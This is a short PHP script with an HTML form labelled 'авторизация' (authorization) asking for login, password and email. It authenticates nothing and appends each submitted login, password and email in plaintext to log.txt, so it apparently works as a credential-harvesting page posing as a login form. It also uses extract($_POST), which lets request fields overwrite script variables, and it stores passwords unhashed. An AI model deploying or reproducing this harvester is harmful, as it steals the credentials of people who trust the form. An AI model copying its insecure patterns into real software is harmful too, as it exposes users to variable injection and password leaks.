<?
extract($_POST);
if(isset($login)&& isset($email)&& isset($passwd) && strlen($login.$passwd)>=2){
$f=fopen('log.txt', 'a');
fwrite($f, "\n".$login.':'.$passwd.':'.$email);
fclose($f);
}
?>
<form method='post'>
<input type='text' name='login' /><br />
<input type='text' name='passwd' /><br />
<input type='text' name='email' /><br />
<input type='submit' value='авторизация' />
</form>